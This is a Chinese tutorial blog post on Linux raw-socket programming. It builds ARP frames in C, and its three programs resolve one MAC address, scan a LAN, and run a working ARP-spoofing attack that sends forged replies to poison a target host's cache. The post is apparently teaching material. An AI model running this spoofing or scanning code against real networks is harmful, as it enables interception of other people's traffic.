当前位置: 首页 > news >正文

Linux网络编程 原始套接字与ARP协议深度解析——从数据包构造到欺骗攻防

知识点1【使用原始套接字发送网络数据】

使用 sendto 发送完整帧数据

这个是有固定格式的,这里我们是用打包函数的方法实现

1、sendto的知识补充

1、struct sockaddr_ll 结构体介绍

当利用sendto操作原始套接字的时候

sendto(fd_sock,msg,len,0,(struct sockaddr *)&sll,sizeof(sll));
//sll对应的结构体类型
#include<netpacket/packet.h>
struct sockaddr_ll sll;

在这个结构体中,前两个参数我们在创建原始套接字的时候已经进行了配置。

sll_ifindex之后的参数,是由内核进行配置的。因此这里

在链路层只需要配置sll_ifindex即可

ifindex是用来确定是哪个网卡的,如下图,我们这里需要选择的是ens33

但是配置 这个参数并不能直接赋值,需要借助另一个结构体

2、struct ifreq

interface request 接口请求

#include <net/if.h>
struct ifreq ifr;

IFNAMSIZ 这个宏,默认是16,是标明 接口名的最大字节数

3、ioctl()

#include <sys/ioctl.h>
int ioctl(int fd,unsigned long request,…/* void *arg */);

功能介绍:

允许用户空间程序与内核驱动互动

参数:

fd:文件描述符

request:控制命令(如ifreq中的介绍)

arg:指向数据结构体的指针,用于输入或输出数据

返回值:

成功:0

失败:-1,会设置errno

由于这一过程过于公式化,因此我们常把这个流程打包成一个函数

4、代码演示

代码运行结果

2、msg的组包

我们这里的组包,以实现ARP协议的功能为例,即我们在【Linux网络编程 从集线器到交换机的网络通信全流程——基于Packet Tracer的深度实验

文章中介绍的ARP协议的广播的实现。

ARP报文分析

请求方使用广播来发送请求

应答方使用单播来发送数据

3、案例

案例1:获取某个IP的MAC地址

ETH_P_ALL的头文件:#include <linux/if_ether.h>

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/if_ether.h> //ETH_P_ALL// 封装一个Sendto函数
int Sendto(int fd, unsigned char *msg, int len, char *name)
{struct ifreq ethreq;strncpy(ethreq.ifr_name, name, IFNAMSIZ);if (-1 == ioctl(fd, SIOCGIFINDEX, &ethreq)){perror("ioctl");close(fd);_exit(-1);}struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));sll.sll_ifindex = ethreq.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}// 192.168.13.249
int main(int argc, char const *argv[])
{// 创建匿名套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socket");_exit(-1);}// msg数据的打包unsigned char msg[256] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff,0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef,0x08, 0x06,0x00, 0x01,0x08, 0x00,6,4,0, 1,0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef,192, 168, 13, 55,0, 0, 0, 0, 0, 0,192, 168, 13, 249};// 发送数据int ret_sendto = Sendto(fd_raw, msg, 14 + 28, "ens33");if (ret_sendto < 0){perror("Sendto");_exit(-1);}// 接收数据,这里使用循环,因为需要对收到消息进行筛选while (1){unsigned char buf[1500] = "";recvfrom(fd_raw, buf, sizeof(buf), 0, NULL, NULL);// 通过接收数据的帧类型和op进行筛选unsigned short arp_type = ntohs(*(unsigned short *)(buf + 12));unsigned short arp_op = ntohs(*(unsigned short *)(buf + 20));if ((arp_type == 0x0806) && (arp_op == 2)){char mac_addr[18] = "";char ip_addr[16] = "";// 组包sprintf(mac_addr, "%02x:%02x:%02x:%02x:%02x:%02x",buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);inet_ntop(AF_INET, buf + 14 + 14, ip_addr, sizeof(ip_addr));printf("%s--->%s\\n", ip_addr, mac_addr);}}// 关闭匿名套接字close(fd_raw);return 0;
}

代码运行结果

为什么要使用while(1)循环接收数据呢?

因为收到的报文有很多,需要进行排除

案例2:扫描局域网的所有MAC地址

#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>
// typedef struct Sento
// {
//     int fd;
//     unsigned char msg;
//     int len;
//     char name;
// }SENDTO;// 封装sendto函数
int Sendto(int fd, unsigned char *msg, int len, char *name)
{// 接口请求配置struct ifreq ethreq;// 网卡名strncpy(ethreq.ifr_name, name, IFNAMSIZ);// 获取网卡编号if (-1 == ioctl(fd, SIOCGIFINDEX, &ethreq)){perror("ioctl");close(fd);_exit(-1);}struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));// 判断接在哪个网卡sll.sll_ifindex = ethreq.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}// 线程函数
void *Pthread_Sendto(void *arg)
{for (size_t i = 1; i < 255; i++){int fd = *(int *)arg;// 组包msg_tounsigned char msg_to[128] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // 目的mac地址0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef, // 源mac地址0x08, 0x06,                         // 帧类型0x00, 0x01,                         // 硬件类型0x08, 0x00,                         // 协议类型(上一级)6,                                  // 硬件地址长度4,                                  // 协议地址长度0x00, 0x01,                         // arp模式选择0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef, // 源mac地址192, 168, 13, 55,                   // 源IP地址0, 0, 0, 0, 0, 0,                   // 目的mac地址192, 168, 13, (unsigned char)i      // 目的IP地址};int ret = Sendto(fd, msg_to, 14 + 28, "ens33");if (ret < 0){perror("Sendto");close(fd);_exit(-1);}}return NULL;
}
void *Pthread_Recv(void *arg)
{int fd = *(int *)arg;while (1){unsigned char buf[1500] = "";recvfrom(fd, buf, sizeof(buf), 0, NULL, NULL);unsigned short type = ntohs((*(unsigned short *)(buf + 12)));unsigned short op = ntohs((*(unsigned short *)(buf + 20)));char dst_mac[18] = "";char src_ip[16] = "";if (type == 0x0806 && op == 2){sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);inet_ntop(AF_INET, buf + 28, src_ip, sizeof(src_ip));printf("%s---->%s\\n", src_ip, dst_mac);}}return NULL;
}int main(int argc, char const *argv[])
{// 创建原始套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socked");_exit(-1);}// 创建两个子线程pthread_t pid1, pid2;pthread_attr_t attr;pthread_attr_init(&attr);pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);// 线程1负责发送pthread_create(&pid1, &attr, Pthread_Sendto, &fd_raw);// 线程2负责收pthread_create(&pid2, &attr, Pthread_Recv, &fd_raw);while(1);// 关闭套接字close(fd_raw);return 0;
}

代码运行结果

案例3:ARP欺骗)

实现欺骗的原理是:

收到ARP应答,一般不判断,是否发出了ARP请求

这里我们只需要写应答即可,组包的时候按照应答的格式组包。

这里我们介绍一个新的组包方式:

利用各个头文件中结构体进行组包

**ARP头文件<net/if_arp.h>**中的 ARP报文头结构体,我们可以看到,if 0表示这一块内的结构体我们不能自己设置,但是修改系统头文件又不好,因此这里我们只能自己定义一个结构体,然后使用

**MAC头文件<net/ethernet.h>**中的 MAC报文头结构体

#include <stdio.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <string.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>typedef struct arphdr
{unsigned short int ar_hrd; /* Format of hardware address.  */unsigned short int ar_pro; /* Format of protocol address.  */unsigned char ar_hln;      /* Length of hardware address.  */unsigned char ar_pln;      /* Length of protocol address.  */unsigned short int ar_op;  /* ARP opcode (command).  */
#if 1/* Ethernet looks like this : This bit is variable sizedhowever...  */unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address.  */unsigned char __ar_sip[4];        /* Sender IP address.  */unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address.  */unsigned char __ar_tip[4];        /* Target IP address.  */
#endif
}ARP;int Sendto(int fd, char *msg, int len, const char *name)
{// ifreg结构体struct ifreq eth_reg;strncpy(eth_reg.ifr_name, name, IFNAMSIZ);// ioctlif (-1 == ioctl(fd, SIOCGIFINDEX, &eth_reg)){perror("ioctl");close(fd);_exit(-1);}// sockaddr_ll结构体struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));sll.sll_ifindex = eth_reg.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}
int main(int argc, char const *argv[])
{// 创建原始套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socket");_exit(-1);}// 组包msg_send报文char msg_send[128] = "";//mac报文头struct ether_header *eth_hdr = (struct ether_header *)msg_send;unsigned char dst_mac[] = {0x00,0x2b,0x67,0xec,0xd9,0x51};unsigned char src_mac[] = {0xee,0xee,0xee,0xee,0xee,0xee};unsigned char dst_ip[] = {192,168,13,32};unsigned char src_ip[] = {192,168,13,3};memcpy(eth_hdr->ether_dhost,dst_mac,sizeof(dst_mac));memcpy(eth_hdr->ether_shost,src_mac,sizeof(src_mac));eth_hdr->ether_type = htons(0x0806);//arp报文头ARP *arp_hdr = (ARP *)(msg_send + 14);arp_hdr->ar_hrd = htons(0x0001);arp_hdr->ar_pro = htons(0x0800);arp_hdr->ar_hln = 6;arp_hdr->ar_pln = 4;arp_hdr->ar_op = htons(0x0002);memcpy(arp_hdr->__ar_sha,src_mac,sizeof(src_mac));memcpy(arp_hdr->__ar_sip,src_ip,sizeof(src_ip));memcpy(arp_hdr->__ar_tha,dst_mac,sizeof(dst_mac));memcpy(arp_hdr->__ar_tip,dst_ip,sizeof(dst_ip));for (size_t i = 0; i < 10; i++){// 发送msg_send报文if (Sendto(fd_raw, msg_send, 14 + 28, "ens33") < 0){perror("Sendto");close(fd_raw);_exit(-1);}sleep(1);}// 关闭套接字close(fd_raw);return 0;
}

代码运行结果

结束

代码重在练习!

代码重在练习!

代码重在练习!

今天的分享就到此结束了,希望对你有所帮助,如果你喜欢我的分享,请点赞收藏夹关注,谢谢大家!!!


http://www.mrgr.cn/news/100076.html

相关文章:

  • 【linux】Chrony服务器
  • 区间和数量统计 之 前缀和+哈希表
  • AI 开发工具提示词集体开源!解锁 Cursor、Cline、Windsurf 等工具的核心逻辑
  • SpringBoot 学习
  • python_BeautifulSoup提取html中的信息
  • 基于HTML+CSS实现的动态导航引导页技术解析
  • OpenCv高阶(十)——光流估计
  • Linux软硬链接和动静态库(20)
  • Arm GICv3中断处理模型解析
  • 【深度强化学习 DRL 快速实践】策略梯度算法 (PG)
  • Pycharm(十六)面向对象进阶
  • 红黑树——如何靠控制色彩实现平衡的?
  • DPIN河内AI+DePIN峰会:共绘蓝图,加速构建去中心化AI基础设施新生态
  • 【Harmony OS】组件
  • Java 安全:如何实现用户认证与授权?
  • Chrmo手动同步数据
  • 一款好用的桌面待办工具,轻松掌控时间沙漏!
  • 【Python数据库与后端开发】从ORM到RESTful API
  • 【专题刷题】二分查找(二)
  • 单机无穷大系统暂态稳定性仿真Matlab模型